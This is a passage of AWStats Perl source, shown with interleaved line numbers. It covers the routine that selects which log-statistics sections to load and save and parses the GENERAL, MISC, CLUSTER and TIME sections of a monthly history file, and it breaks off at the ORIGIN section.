                $date     = sprintf( "%04i%02i%02i", $year,  $month, $day );
 
3299
                $filedate = sprintf( "%02i%04i%02i", $month, $year,  $day );
 
3300
        }
 
3301
        elsif ( $DatabaseBreak eq 'hour' ) {
 
3302
                $date     = sprintf( "%04i%02i%02i%02i", $year,  $month, $day, $hour );
 
3303
                $filedate = sprintf( "%02i%04i%02i%02i", $month, $year,  $day, $hour );
 
3304
        }
 
3305
 
 
3306
        my $xml   = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
 
3307
        my $xmleb = '</table><nu>';
 
3308
        my $xmlrb = '<tr><td>';
 
3309
 
 
3310
        my $lastlinenb       = shift || 0;
 
3311
        my $lastlineoffset   = shift || 0;
 
3312
        my $lastlinechecksum = shift || 0;
 
3313
 
 
3314
        my %allsections = (
 
3315
                'general'               => 1,
 
3316
                'misc'                  => 2,
 
3317
                'time'                  => 3,
 
3318
                'visitor'               => 4,
 
3319
                'day'                   => 5,
 
3320
                'domain'                => 6,
 
3321
                'cluster'               => 7,
 
3322
                'login'                 => 8,
 
3323
                'robot'                 => 9,
 
3324
                'worms'                 => 10,
 
3325
                'emailsender'           => 11,
 
3326
                'emailreceiver'         => 12,
 
3327
                'session'               => 13,
 
3328
                'sider'                 => 14,
 
3329
                'filetypes'             => 15,
 
3330
                'downloads'                             => 16,
 
3331
                'os'                    => 17,
 
3332
                'browser'               => 18,
 
3333
                'screensize'            => 19,
 
3334
                'unknownreferer'        => 20,
 
3335
                'unknownrefererbrowser' => 21,
 
3336
                'origin'                => 22,
 
3337
                'sereferrals'           => 23,
 
3338
                'pagerefs'              => 24,
 
3339
                'searchwords'           => 25,
 
3340
                'keywords'              => 26,
 
3341
                'errors'                => 27,
 
3342
        );
 
3343
 
 
3344
        my $order = ( scalar keys %allsections ) + 1;
 
3345
        foreach ( keys %TrapInfosForHTTPErrorCodes ) {
 
3346
                $allsections{"sider_$_"} = $order++;
 
3347
        }
 
3348
        foreach ( 1 .. @ExtraName - 1 ) { $allsections{"extra_$_"} = $order++; }
 
3349
        foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
 
3350
                $allsections{"plugin_$_"} = $order++;
 
3351
        }
 
3352
        my $withread = 0;
 
3353
 
 
3354
        # Variable used to read old format history files
 
3355
        my $readvisitorforbackward = 0;
 
3356
 
 
3357
        if ($Debug) {
 
3358
                debug(
 
3359
"Call to Read_History_With_TmpUpdate [$year,$month,$day,$hour,withupdate=$withupdate,withpurge=$withpurge,part=$part,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]"
 
3360
                );
 
3361
        }
 
3362
        if ($Debug) { debug("date=$date"); }
 
3363
 
 
3364
        # Define SectionsToLoad (which sections to load)
 
3365
        my %SectionsToLoad = ();
 
3366
        if ( $part eq 'all' ) {    # Load all needed sections
 
3367
                my $order = 1;
 
3368
                $SectionsToLoad{'general'} = $order++;
 
3369
 
 
3370
                # When
 
3371
                $SectionsToLoad{'time'} = $order
 
3372
                  ++; # Always loaded because needed to count TotalPages, TotalHits, TotalBandwidth
 
3373
                if (   $UpdateStats
 
3374
                        || $MigrateStats
 
3375
                        || ( $HTMLOutput{'main'} && $ShowHostsStats )
 
3376
                        || $HTMLOutput{'allhosts'}
 
3377
                        || $HTMLOutput{'lasthosts'}
 
3378
                        || $HTMLOutput{'unknownip'} )
 
3379
                {
 
3380
                        $SectionsToLoad{'visitor'} = $order++;
 
3381
                }     # Must be before day, sider and session section
 
3382
                if (
 
3383
                           $UpdateStats
 
3384
                        || $MigrateStats
 
3385
                        || ( $HTMLOutput{'main'}
 
3386
                                && ( $ShowDaysOfWeekStats || $ShowDaysOfMonthStats ) )
 
3387
                        || $HTMLOutput{'alldays'}
 
3388
                  )
 
3389
                {
 
3390
                        $SectionsToLoad{'day'} = $order++;
 
3391
                }
 
3392
 
 
3393
                # Who
 
3394
                if (   $UpdateStats
 
3395
                        || $MigrateStats
 
3396
                        || ( $HTMLOutput{'main'} && $ShowDomainsStats )
 
3397
                        || $HTMLOutput{'alldomains'} )
 
3398
                {
 
3399
                        $SectionsToLoad{'domain'} = $order++;
 
3400
                }
 
3401
                if (   $UpdateStats
 
3402
                        || $MigrateStats
 
3403
                        || ( $HTMLOutput{'main'} && $ShowAuthenticatedUsers )
 
3404
                        || $HTMLOutput{'alllogins'}
 
3405
                        || $HTMLOutput{'lastlogins'} )
 
3406
                {
 
3407
                        $SectionsToLoad{'login'} = $order++;
 
3408
                }
 
3409
                if (   $UpdateStats
 
3410
                        || $MigrateStats
 
3411
                        || ( $HTMLOutput{'main'} && $ShowRobotsStats )
 
3412
                        || $HTMLOutput{'allrobots'}
 
3413
                        || $HTMLOutput{'lastrobots'} )
 
3414
                {
 
3415
                        $SectionsToLoad{'robot'} = $order++;
 
3416
                }
 
3417
                if (   $UpdateStats
 
3418
                        || $MigrateStats
 
3419
                        || ( $HTMLOutput{'main'} && $ShowWormsStats )
 
3420
                        || $HTMLOutput{'allworms'}
 
3421
                        || $HTMLOutput{'lastworms'} )
 
3422
                {
 
3423
                        $SectionsToLoad{'worms'} = $order++;
 
3424
                }
 
3425
                if (   $UpdateStats
 
3426
                        || $MigrateStats
 
3427
                        || ( $HTMLOutput{'main'} && $ShowEMailSenders )
 
3428
                        || $HTMLOutput{'allemails'}
 
3429
                        || $HTMLOutput{'lastemails'} )
 
3430
                {
 
3431
                        $SectionsToLoad{'emailsender'} = $order++;
 
3432
                }
 
3433
                if (   $UpdateStats
 
3434
                        || $MigrateStats
 
3435
                        || ( $HTMLOutput{'main'} && $ShowEMailReceivers )
 
3436
                        || $HTMLOutput{'allemailr'}
 
3437
                        || $HTMLOutput{'lastemailr'} )
 
3438
                {
 
3439
                        $SectionsToLoad{'emailreceiver'} = $order++;
 
3440
                }
 
3441
 
 
3442
                # Navigation
 
3443
                if (   $UpdateStats
 
3444
                        || $MigrateStats
 
3445
                        || ( $HTMLOutput{'main'} && $ShowSessionsStats )
 
3446
                        || $HTMLOutput{'sessions'} )
 
3447
                {
 
3448
                        $SectionsToLoad{'session'} = $order++;
 
3449
                }
 
3450
                if (   $UpdateStats
 
3451
                        || $MigrateStats
 
3452
                        || ( $HTMLOutput{'main'} && $ShowPagesStats )
 
3453
                        || $HTMLOutput{'urldetail'}
 
3454
                        || $HTMLOutput{'urlentry'}
 
3455
                        || $HTMLOutput{'urlexit'} )
 
3456
                {
 
3457
                        $SectionsToLoad{'sider'} = $order++;
 
3458
                }
 
3459
                if (   $UpdateStats
 
3460
                        || $MigrateStats
 
3461
                        || ( $HTMLOutput{'main'} && $ShowFileTypesStats )
 
3462
                        || $HTMLOutput{'filetypes'} )
 
3463
                {
 
3464
                        $SectionsToLoad{'filetypes'} = $order++;
 
3465
                }
 
3466
                
 
3467
                if ( $UpdateStats 
 
3468
                    || $MigrateStats 
 
3469
                    || ($HTMLOutput{'main'} && $ShowDownloadsStats )
 
3470
                    || $HTMLOutput{'downloads'} )
 
3471
                {
 
3472
                        $SectionsToLoad{'downloads'} = $order++;
 
3473
                }
 
3474
                if (   $UpdateStats
 
3475
                        || $MigrateStats
 
3476
                        || ( $HTMLOutput{'main'} && $ShowOSStats )
 
3477
                        || $HTMLOutput{'osdetail'} )
 
3478
                {
 
3479
                        $SectionsToLoad{'os'} = $order++;
 
3480
                }
 
3481
                if (   $UpdateStats
 
3482
                        || $MigrateStats
 
3483
                        || ( $HTMLOutput{'main'} && $ShowBrowsersStats )
 
3484
                        || $HTMLOutput{'browserdetail'} )
 
3485
                {
 
3486
                        $SectionsToLoad{'browser'} = $order++;
 
3487
                }
 
3488
                if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownos'} ) {
 
3489
                        $SectionsToLoad{'unknownreferer'} = $order++;
 
3490
                }
 
3491
                if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownbrowser'} ) {
 
3492
                        $SectionsToLoad{'unknownrefererbrowser'} = $order++;
 
3493
                }
 
3494
                if (   $UpdateStats
 
3495
                        || $MigrateStats
 
3496
                        || ( $HTMLOutput{'main'} && $ShowScreenSizeStats ) )
 
3497
                {
 
3498
                        $SectionsToLoad{'screensize'} = $order++;
 
3499
                }
 
3500
 
 
3501
                # Referers
 
3502
                if (   $UpdateStats
 
3503
                        || $MigrateStats
 
3504
                        || ( $HTMLOutput{'main'} && $ShowOriginStats )
 
3505
                        || $HTMLOutput{'origin'} )
 
3506
                {
 
3507
                        $SectionsToLoad{'origin'} = $order++;
 
3508
                }
 
3509
                if (   $UpdateStats
 
3510
                        || $MigrateStats
 
3511
                        || ( $HTMLOutput{'main'} && $ShowOriginStats )
 
3512
                        || $HTMLOutput{'refererse'} )
 
3513
                {
 
3514
                        $SectionsToLoad{'sereferrals'} = $order++;
 
3515
                }
 
3516
                if (   $UpdateStats
 
3517
                        || $MigrateStats
 
3518
                        || ( $HTMLOutput{'main'} && $ShowOriginStats )
 
3519
                        || $HTMLOutput{'refererpages'} )
 
3520
                {
 
3521
                        $SectionsToLoad{'pagerefs'} = $order++;
 
3522
                }
 
3523
                if (   $UpdateStats
 
3524
                        || $MigrateStats
 
3525
                        || ( $HTMLOutput{'main'} && $ShowKeyphrasesStats )
 
3526
                        || $HTMLOutput{'keyphrases'}
 
3527
                        || $HTMLOutput{'keywords'} )
 
3528
                {
 
3529
                        $SectionsToLoad{'searchwords'} = $order++;
 
3530
                }
 
3531
                if ( !$withupdate && $HTMLOutput{'main'} && $ShowKeywordsStats ) {
 
3532
                        $SectionsToLoad{'keywords'} = $order++;
 
3533
                }    # If we update, dont need to load
 
3534
                     # Others
 
3535
                if (   $UpdateStats
 
3536
                        || $MigrateStats
 
3537
                        || ( $HTMLOutput{'main'} && $ShowMiscStats ) )
 
3538
                {
 
3539
                        $SectionsToLoad{'misc'} = $order++;
 
3540
                }
 
3541
                if (
 
3542
                           $UpdateStats
 
3543
                        || $MigrateStats
 
3544
                        || ( $HTMLOutput{'main'}
 
3545
                                && ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) )
 
3546
                        || $HTMLOutput{'errors'}
 
3547
                  )
 
3548
                {
 
3549
                        $SectionsToLoad{'errors'} = $order++;
 
3550
                }
 
3551
                foreach ( keys %TrapInfosForHTTPErrorCodes ) {
 
3552
                        if ( $UpdateStats || $MigrateStats || $HTMLOutput{"errors$_"} ) {
 
3553
                                $SectionsToLoad{"sider_$_"} = $order++;
 
3554
                        }
 
3555
                }
 
3556
                if (   $UpdateStats
 
3557
                        || $MigrateStats
 
3558
                        || ( $HTMLOutput{'main'} && $ShowClusterStats ) )
 
3559
                {
 
3560
                        $SectionsToLoad{'cluster'} = $order++;
 
3561
                }
 
3562
                foreach ( 1 .. @ExtraName - 1 ) {
 
3563
                        if (   $UpdateStats
 
3564
                                || $MigrateStats
 
3565
                                || ( $HTMLOutput{'main'} && $ExtraStatTypes[$_] )
 
3566
                                || $HTMLOutput{"allextra$_"} )
 
3567
                        {
 
3568
                                $SectionsToLoad{"extra_$_"} = $order++;
 
3569
                        }
 
3570
                }
 
3571
                foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
 
3572
                        if ( $UpdateStats || $MigrateStats || $HTMLOutput{"plugin_$_"} ) {
 
3573
                                $SectionsToLoad{"plugin_$_"} = $order++;
 
3574
                        }
 
3575
                }
 
3576
        }
 
3577
        else {    # Load only required sections
 
3578
                my $order = 1;
 
3579
                foreach ( split( /\s+/, $part ) ) { $SectionsToLoad{$_} = $order++; }
 
3580
        }
 
3581
 
 
3582
        # Define SectionsToSave (which sections to save)
 
3583
        my %SectionsToSave = ();
 
3584
        if ($withupdate) {
 
3585
                if ( $SectionsToBeSaved eq 'all' ) {
 
3586
                        %SectionsToSave = %allsections;
 
3587
                }
 
3588
                else {
 
3589
                        my $order = 1;
 
3590
                        foreach ( split( /\s+/, $SectionsToBeSaved ) ) {
 
3591
                                $SectionsToSave{$_} = $order++;
 
3592
                        }
 
3593
                }
 
3594
        }
 
3595
 
 
3596
        if ($Debug) {
 
3597
                debug(
 
3598
                        " List of sections marked for load : "
 
3599
                          . join(
 
3600
                                ' ',
 
3601
                                (
 
3602
                                        sort { $SectionsToLoad{$a} <=> $SectionsToLoad{$b} }
 
3603
                                          keys %SectionsToLoad
 
3604
                                )
 
3605
                          ),
 
3606
                        2
 
3607
                );
 
3608
                debug(
 
3609
                        " List of sections marked for save : "
 
3610
                          . join(
 
3611
                                ' ',
 
3612
                                (
 
3613
                                        sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
 
3614
                                          keys %SectionsToSave
 
3615
                                )
 
3616
                          ),
 
3617
                        2
 
3618
                );
 
3619
        }
 
3620
 
 
3621
# Define value for filetowrite and filetoread (Month before Year kept for backward compatibility)
 
3622
        my $filetowrite = '';
 
3623
        my $filetoread  = '';
 
3624
        if ( $HistoryAlreadyFlushed{"$year$month$day$hour"}
 
3625
                && -s "$DirData/$PROG$filedate$FileSuffix.tmp.$$" )
 
3626
        {
 
3627
 
 
3628
                # tmp history file was already flushed
 
3629
                $filetoread  = "$DirData/$PROG$filedate$FileSuffix.tmp.$$";
 
3630
                $filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$.bis";
 
3631
        }
 
3632
        else {
 
3633
                $filetoread  = "$DirData/$PROG$filedate$FileSuffix.txt";
 
3634
                $filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$";
 
3635
        }
 
3636
        if ($Debug) { debug( " History file to read is '$filetoread'", 2 ); }
 
3637
 
 
3638
# Is there an old data file to read or, if migrate, can we open the file for read
 
3639
        if ( -s $filetoread || $MigrateStats ) { $withread = 1; }
 
3640
 
 
3641
        # Open files
 
3642
        if ($withread) {
 
3643
                open( HISTORY, $filetoread )
 
3644
                  || error( "Couldn't open file \"$filetoread\" for read: $!",
 
3645
                        "", "", $MigrateStats );
 
3646
                binmode HISTORY
 
3647
                  ; # Avoid premature EOF due to history files corrupted with \cZ or bin chars
 
3648
        }
 
3649
        if ($withupdate) {
 
3650
                open( HISTORYTMP, ">$filetowrite" )
 
3651
                  || error("Couldn't open file \"$filetowrite\" for write: $!");
 
3652
                binmode HISTORYTMP;
 
3653
                if ($xml) {
 
3654
                        print HISTORYTMP
 
3655
'<xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://awstats.sourceforge.net/files/awstats.xsd">'
 
3656
                          . "\n\n";
 
3657
                }
 
3658
                Save_History( "header", $year, $month, $date );
 
3659
        }
 
3660
 
 
3661
        # Loop on read file
 
3662
        my $readxml = 0;
 
3663
        if ($withread) {
 
3664
                my $countlines = 0;
 
3665
                my $versionnum = 0;
 
3666
                my @field      = ();
 
3667
                while (<HISTORY>) {
 
3668
                        chomp $_;
 
3669
                        s/\r//;
 
3670
                        $countlines++;
 
3671
 
 
3672
                        # Test if it's xml
 
3673
                        if ( !$readxml && $_ =~ /^<xml/ ) {
 
3674
                                $readxml = 1;
 
3675
                                if ($Debug) { debug( " Data file format is 'xml'", 1 ); }
 
3676
                                next;
 
3677
                        }
 
3678
 
 
3679
                        # Extract version from first line
 
3680
                        if ( !$versionnum && $_ =~ /^AWSTATS DATA FILE (\d+).(\d+)/i ) {
 
3681
                                $versionnum = ( $1 * 1000 ) + $2;
 
3682
                                if ($Debug) { debug( " Data file version is $versionnum", 1 ); }
 
3683
                                next;
 
3684
                        }
 
3685
 
 
3686
                        # Analyze fields
 
3687
                        @field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
3688
                        if ( !$field[0] ) { next; }
 
3689
 
 
3690
                        # Here version MUST be defined
 
3691
                        if ( $versionnum < 5000 ) {
 
3692
                                error(
 
3693
"History file '$filetoread' is to old (version '$versionnum'). This version of AWStats is not compatible with very old history files. Remove this history file or use first a previous AWStats version to migrate it from command line with command: $PROG.$Extension -migrate=\"$filetoread\".",
 
3694
                                        "", "", 1
 
3695
                                );
 
3696
                        }
 
3697
 
 
3698
                        # BEGIN_GENERAL
 
3699
                        # TODO Manage GENERAL in a loop like other sections.
 
3700
                        if ( $field[0] eq 'BEGIN_GENERAL' ) {
 
3701
                                if ($Debug) { debug(" Begin of GENERAL section"); }
 
3702
                                next;
 
3703
                        }
 
3704
                        if ( $field[0] eq 'LastLine' || $field[0] eq "${xmlrb}LastLine" ) {
 
3705
                                if ( !$LastLine || $LastLine < int( $field[1] ) ) {
 
3706
                                        $LastLine = int( $field[1] );
 
3707
                                }
 
3708
                                if ( $field[2] ) { $LastLineNumber   = int( $field[2] ); }
 
3709
                                if ( $field[3] ) { $LastLineOffset   = int( $field[3] ); }
 
3710
                                if ( $field[4] ) { $LastLineChecksum = int( $field[4] ); }
 
3711
                                next;
 
3712
                        }
 
3713
                        if ( $field[0] eq 'FirstTime' || $field[0] eq "${xmlrb}FirstTime" )
 
3714
                        {
 
3715
                                if ( !$FirstTime{$date}
 
3716
                                        || $FirstTime{$date} > int( $field[1] ) )
 
3717
                                {
 
3718
                                        $FirstTime{$date} = int( $field[1] );
 
3719
                                }
 
3720
                                next;
 
3721
                        }
 
3722
                        if ( $field[0] eq 'LastTime' || $field[0] eq "${xmlrb}LastTime" ) {
 
3723
                                if ( !$LastTime{$date} || $LastTime{$date} < int( $field[1] ) )
 
3724
                                {
 
3725
                                        $LastTime{$date} = int( $field[1] );
 
3726
                                }
 
3727
                                next;
 
3728
                        }
 
3729
                        if (   $field[0] eq 'LastUpdate'
 
3730
                                || $field[0] eq "${xmlrb}LastUpdate" )
 
3731
                        {
 
3732
                                if ( !$LastUpdate ) { $LastUpdate = int( $field[1] ); }
 
3733
                                next;
 
3734
                        }
 
3735
                        if (   $field[0] eq 'TotalVisits'
 
3736
                                || $field[0] eq "${xmlrb}TotalVisits" )
 
3737
                        {
 
3738
                                if ( !$withupdate ) {
 
3739
                                        $MonthVisits{ $year . $month } += int( $field[1] );
 
3740
                                }
 
3741
                                next;
 
3742
                        }
 
3743
                        if (   $field[0] eq 'TotalUnique'
 
3744
                                || $field[0] eq "${xmlrb}TotalUnique" )
 
3745
                        {
 
3746
                                if ( !$withupdate ) {
 
3747
                                        $MonthUnique{ $year . $month } += int( $field[1] );
 
3748
                                }
 
3749
                                next;
 
3750
                        }
 
3751
                        if (   $field[0] eq 'MonthHostsKnown'
 
3752
                                || $field[0] eq "${xmlrb}MonthHostsKnown" )
 
3753
                        {
 
3754
                                if ( !$withupdate ) {
 
3755
                                        $MonthHostsKnown{ $year . $month } += int( $field[1] );
 
3756
                                }
 
3757
                                next;
 
3758
                        }
 
3759
                        if (   $field[0] eq 'MonthHostsUnknown'
 
3760
                                || $field[0] eq "${xmlrb}MonthHostsUnknown" )
 
3761
                        {
 
3762
                                if ( !$withupdate ) {
 
3763
                                        $MonthHostsUnknown{ $year . $month } += int( $field[1] );
 
3764
                                }
 
3765
                                next;
 
3766
                        }
 
3767
                        if (
 
3768
                                (
 
3769
                                           $field[0] eq 'END_GENERAL'
 
3770
                                        || $field[0] eq "${xmleb}END_GENERAL"
 
3771
                                )
 
3772
                          )
 
3773
                        {
 
3774
                                if ($Debug) { debug(" End of GENERAL section"); }
 
3775
                                if ( $MigrateStats && !$BadFormatWarning{ $year . $month } ) {
 
3776
                                        $BadFormatWarning{ $year . $month } = 1;
 
3777
                                        warning(
 
3778
"Warning: You are migrating a file that is already a recent version (migrate not required for files version $versionnum).",
 
3779
                                                "", "", 1
 
3780
                                        );
 
3781
                                }
 
3782
 
 
3783
                                delete $SectionsToLoad{'general'};
 
3784
                                if ( $SectionsToSave{'general'} ) {
 
3785
                                        Save_History( 'general', $year, $month, $date, $lastlinenb,
 
3786
                                                $lastlineoffset, $lastlinechecksum );
 
3787
                                        delete $SectionsToSave{'general'};
 
3788
                                }
 
3789
                                if ( !scalar %SectionsToLoad ) {
 
3790
                                        debug(" Stop reading history file. Got all we need.");
 
3791
                                        last;
 
3792
                                }
 
3793
                                next;
 
3794
                        }
 
3795
 
 
3796
                        # BEGIN_MISC
 
3797
                        if ( $field[0] eq 'BEGIN_MISC' ) {
 
3798
                                if ($Debug) { debug(" Begin of MISC section"); }
 
3799
                                $field[0] = '';
 
3800
                                my $count       = 0;
 
3801
                                my $countloaded = 0;
 
3802
                                do {
 
3803
                                        if ( $field[0] ) {
 
3804
                                                $count++;
 
3805
                                                if ( $SectionsToLoad{'misc'} ) {
 
3806
                                                        $countloaded++;
 
3807
                                                        if ( $field[1] ) {
 
3808
                                                                $_misc_p{ $field[0] } += int( $field[1] );
 
3809
                                                        }
 
3810
                                                        if ( $field[2] ) {
 
3811
                                                                $_misc_h{ $field[0] } += int( $field[2] );
 
3812
                                                        }
 
3813
                                                        if ( $field[3] ) {
 
3814
                                                                $_misc_k{ $field[0] } += int( $field[3] );
 
3815
                                                        }
 
3816
                                                }
 
3817
                                        }
 
3818
                                        $_ = <HISTORY>;
 
3819
                                        chomp $_;
 
3820
                                        s/\r//;
 
3821
                                        @field =
 
3822
                                          split( /\s+/,
 
3823
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
3824
                                        $countlines++;
 
3825
                                  } until ( $field[0] eq 'END_MISC'
 
3826
                                          || $field[0] eq "${xmleb}END_MISC"
 
3827
                                          || !$_ );
 
3828
                                if (   $field[0] ne 'END_MISC'
 
3829
                                        && $field[0] ne "${xmleb}END_MISC" )
 
3830
                                {
 
3831
                                        error(
 
3832
"History file \"$filetoread\" is corrupted (End of section MISC not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
3833
                                                "", "", 1
 
3834
                                        );
 
3835
                                }
 
3836
                                if ($Debug) {
 
3837
                                        debug(
 
3838
" End of MISC section ($count entries, $countloaded loaded)"
 
3839
                                        );
 
3840
                                }
 
3841
                                delete $SectionsToLoad{'misc'};
 
3842
                                if ( $SectionsToSave{'misc'} ) {
 
3843
                                        Save_History( 'misc', $year, $month, $date );
 
3844
                                        delete $SectionsToSave{'misc'};
 
3845
                                        if ($withpurge) {
 
3846
                                                %_misc_p = ();
 
3847
                                                %_misc_h = ();
 
3848
                                                %_misc_k = ();
 
3849
                                        }
 
3850
                                }
 
3851
                                if ( !scalar %SectionsToLoad ) {
 
3852
                                        debug(" Stop reading history file. Got all we need.");
 
3853
                                        last;
 
3854
                                }
 
3855
                                next;
 
3856
                        }
 
3857
 
 
3858
                        # BEGIN_CLUSTER
 
3859
                        if ( $field[0] eq 'BEGIN_CLUSTER' ) {
 
3860
                                if ($Debug) { debug(" Begin of CLUSTER section"); }
 
3861
                                $field[0] = '';
 
3862
                                my $count       = 0;
 
3863
                                my $countloaded = 0;
 
3864
                                do {
 
3865
                                        if ( $field[0] ) {
 
3866
                                                $count++;
 
3867
                                                if ( $SectionsToLoad{'cluster'} ) {
 
3868
                                                        $countloaded++;
 
3869
                                                        if ( $field[1] ) {
 
3870
                                                                $_cluster_p{ $field[0] } += int( $field[1] );
 
3871
                                                        }
 
3872
                                                        if ( $field[2] ) {
 
3873
                                                                $_cluster_h{ $field[0] } += int( $field[2] );
 
3874
                                                        }
 
3875
                                                        if ( $field[3] ) {
 
3876
                                                                $_cluster_k{ $field[0] } += int( $field[3] );
 
3877
                                                        }
 
3878
                                                }
 
3879
                                        }
 
3880
                                        $_ = <HISTORY>;
 
3881
                                        chomp $_;
 
3882
                                        s/\r//;
 
3883
                                        @field =
 
3884
                                          split( /\s+/,
 
3885
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
3886
                                        $countlines++;
 
3887
                                  } until ( $field[0] eq 'END_CLUSTER'
 
3888
                                          || $field[0] eq "${xmleb}END_CLUSTER"
 
3889
                                          || !$_ );
 
3890
                                if (   $field[0] ne 'END_CLUSTER'
 
3891
                                        && $field[0] ne "${xmleb}END_CLUSTER" )
 
3892
                                {
 
3893
                                        error(
 
3894
"History file \"$filetoread\" is corrupted (End of section CLUSTER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
3895
                                                "", "", 1
 
3896
                                        );
 
3897
                                }
 
3898
                                if ($Debug) {
 
3899
                                        debug(
 
3900
" End of CLUSTER section ($count entries, $countloaded loaded)"
 
3901
                                        );
 
3902
                                }
 
3903
                                delete $SectionsToLoad{'cluster'};
 
3904
                                if ( $SectionsToSave{'cluster'} ) {
 
3905
                                        Save_History( 'cluster', $year, $month, $date );
 
3906
                                        delete $SectionsToSave{'cluster'};
 
3907
                                        if ($withpurge) {
 
3908
                                                %_cluster_p = ();
 
3909
                                                %_cluster_h = ();
 
3910
                                                %_cluster_k = ();
 
3911
                                        }
 
3912
                                }
 
3913
                                if ( !scalar %SectionsToLoad ) {
 
3914
                                        debug(" Stop reading history file. Got all we need.");
 
3915
                                        last;
 
3916
                                }
 
3917
                                next;
 
3918
                        }
 
3919
 
 
3920
                        # BEGIN_TIME
 
3921
                        if ( $field[0] eq 'BEGIN_TIME' ) {
 
3922
                                my $monthpages          = 0;
 
3923
                                my $monthhits           = 0;
 
3924
                                my $monthbytes          = 0;
 
3925
                                my $monthnotviewedpages = 0;
 
3926
                                my $monthnotviewedhits  = 0;
 
3927
                                my $monthnotviewedbytes = 0;
 
3928
                                if ($Debug) { debug(" Begin of TIME section"); }
 
3929
                                $field[0] = '';
 
3930
                                my $count       = 0;
 
3931
                                my $countloaded = 0;
 
3932
                                do {
 
3933
 
 
3934
                                        if ( $field[0] ne '' )
 
3935
                                        {    # Test on ne '' because field[0] is '0' for hour 0)
 
3936
                                                $count++;
 
3937
                                                if ( $SectionsToLoad{'time'} ) {
 
3938
                                                        if (   $withupdate
 
3939
                                                                || $MonthRequired eq 'all'
 
3940
                                                                || $MonthRequired eq "$month" )
 
3941
                                                        {    # Still required
 
3942
                                                                $countloaded++;
 
3943
                                                                if ( $field[1] ) {
 
3944
                                                                        $_time_p[ $field[0] ] += int( $field[1] );
 
3945
                                                                }
 
3946
                                                                if ( $field[2] ) {
 
3947
                                                                        $_time_h[ $field[0] ] += int( $field[2] );
 
3948
                                                                }
 
3949
                                                                if ( $field[3] ) {
 
3950
                                                                        $_time_k[ $field[0] ] += int( $field[3] );
 
3951
                                                                }
 
3952
                                                                if ( $field[4] ) {
 
3953
                                                                        $_time_nv_p[ $field[0] ] +=
 
3954
                                                                          int( $field[4] );
 
3955
                                                                }
 
3956
                                                                if ( $field[5] ) {
 
3957
                                                                        $_time_nv_h[ $field[0] ] +=
 
3958
                                                                          int( $field[5] );
 
3959
                                                                }
 
3960
                                                                if ( $field[6] ) {
 
3961
                                                                        $_time_nv_k[ $field[0] ] +=
 
3962
                                                                          int( $field[6] );
 
3963
                                                                }
 
3964
                                                        }
 
3965
                                                        $monthpages          += int( $field[1] );
 
3966
                                                        $monthhits           += int( $field[2] );
 
3967
                                                        $monthbytes          += int( $field[3] );
 
3968
                                                        $monthnotviewedpages += int( $field[4] || 0 );
 
3969
                                                        $monthnotviewedhits  += int( $field[5] || 0 );
 
3970
                                                        $monthnotviewedbytes += int( $field[6] || 0 );
 
3971
                                                }
 
3972
                                        }
 
3973
                                        $_ = <HISTORY>;
 
3974
                                        chomp $_;
 
3975
                                        s/\r//;
 
3976
                                        @field =
 
3977
                                          split( /\s+/,
 
3978
                                                ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
 
3979
                                        $countlines++;
 
3980
                                  } until ( $field[0] eq 'END_TIME'
 
3981
                                          || $field[0] eq "${xmleb}END_TIME"
 
3982
                                          || !$_ );
 
3983
                                if (   $field[0] ne 'END_TIME'
 
3984
                                        && $field[0] ne "${xmleb}END_TIME" )
 
3985
                                {
 
3986
                                        error(
 
3987
"History file \"$filetoread\" is corrupted (End of section TIME not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
 
3988
                                                "", "", 1
 
3989
                                        );
 
3990
                                }
 
3991
                                if ($Debug) {
 
3992
                                        debug(
 
3993
" End of TIME section ($count entries, $countloaded loaded)"
 
3994
                                        );
 
3995
                                }
 
3996
                                $MonthPages{ $year . $month }          += $monthpages;
 
3997
                                $MonthHits{ $year . $month }           += $monthhits;
 
3998
                                $MonthBytes{ $year . $month }          += $monthbytes;
 
3999
                                $MonthNotViewedPages{ $year . $month } += $monthnotviewedpages;
 
4000
                                $MonthNotViewedHits{ $year . $month }  += $monthnotviewedhits;
 
4001
                                $MonthNotViewedBytes{ $year . $month } += $monthnotviewedbytes;
 
4002
                                delete $SectionsToLoad{'time'};
 
4003
 
 
4004
                                if ( $SectionsToSave{'time'} ) {
 
4005
                                        Save_History( 'time', $year, $month, $date );
 
4006
                                        delete $SectionsToSave{'time'};
 
4007
                                        if ($withpurge) {
 
4008
                                                @_time_p    = ();
 
4009
                                                @_time_h    = ();
 
4010
                                                @_time_k    = ();
 
4011
                                                @_time_nv_p = ();
 
4012
                                                @_time_nv_h = ();
 
4013
                                                @_time_nv_k = ();
 
4014
                                        }
 
4015
                                }
 
4016
                                if ( !scalar %SectionsToLoad ) {
 
4017
                                        debug(" Stop reading history file. Got all we need.");
 
4018
                                        last;
 
4019
                                }
 
4020
                                next;
 
4021
                        }
 
4022
 
 
4023
                        # BEGIN_ORIGIN
 
4024
                        if ( $field[0] eq 'BEGIN_ORIGIN' ) {
 
4025
                                if ($Debug) { debug(" Begin of ORIGIN section"); }
 
4026
                                $field[0] = '';
 
4027
                                my $count       = 0;
 
4028
                                my $countloaded = 0;
 
4029
                                do {
 
4030
                                        if ( $field[0] ) {
 
4031
                                                $count++;
 
4032
                                                if ( $SectionsToLoad{'origin'} ) {
 
4033
                                                        if ( $field[0] eq 'From0' ) {
 
4034
